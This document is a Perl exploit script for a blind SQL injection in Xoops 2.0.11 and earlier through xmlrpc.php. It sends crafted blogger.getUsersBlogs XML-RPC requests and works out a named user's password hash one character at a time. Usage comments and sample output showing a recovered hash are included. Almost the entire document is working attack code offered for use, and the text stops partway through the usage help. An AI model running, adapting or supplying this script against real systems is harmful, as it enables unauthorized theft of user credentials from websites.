#!/usr/bin/perl

## Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
## based on http://gulftech.org/?node=research&article_id=00086-06292005
## coded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru

## example:
## r57xoops.pl -u http://www.xoops2.ru/xmlrpc.php -n Alexxus
## ------------------------------------------------------------------------
## Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
## ------------------------------------------------------------------------
## [~] URL : http://www.xoops2.ru/xmlrpc.php
## [~] NAME : Alexxus
## [~] SEARCHING PASSWORD ... [ DONE ]
## ------------------------------------------------------------------------
## USER NAME : Alexxus
## USER HASH : a26c7baaa40ab863f9b22c8649427fa6
## ------------------------------------------------------------------------

use LWP::UserAgent;
use Getopt::Std;

getopts('u:n:');

$url = $opt_u;
$name = $opt_n;

if(!$url || !$name) { &usage; }

$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~] URL : $url\r\n";
print " [~] NAME : $name\r\n";
print " [~] SEARCHING PASSWORD ... [|]";

while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]
---------------------------------------------------------------
USER NAME : $name
USER HASH : $allchar
---------------------------------------------------------------
};
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];

$data = '<?xml version="1.0"?>';
$data .= '<methodCall>';
$data .= '<methodName>blogger.getUsersBlogs</methodName>';
$data .= '<params>';
$data .= '<param>';
$data .= '<value><string></string></value>';
$data .= '</param>';
$data .= '<param>';
$data .= '<value><string>'.$name.'\' AND ascii(substring(pass,'.$s_num.',1))
'.$ccheck.')/*</string></value>';
$data .= '</param>';
$data .= '</params>';
$data .= '</methodCall>';

$req = new HTTP::Request 'POST' => $url;
$req->content_type('application/xml');
$req->content($data);
$ua = new LWP::UserAgent;
$res = $ua->request($req);
$reply= $res->content;
if($reply =~ /Selected blog application does not exist/) { print "\n
[-] NEWS BLOG DOES NOT EXIST =(\n [-] EXPLOIT FAILED!\n"; exit(); }
if($reply =~ /User authentication failed/) { return 0; }
else { return 1; }
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}

sub usage()
{
&head;
print q(
USAGE:
r57xoops.pl [OPTIONS]

OPTIONS:
-u [URL] - path to xmlrpc.php
-n [USERNAME] - user for bruteforce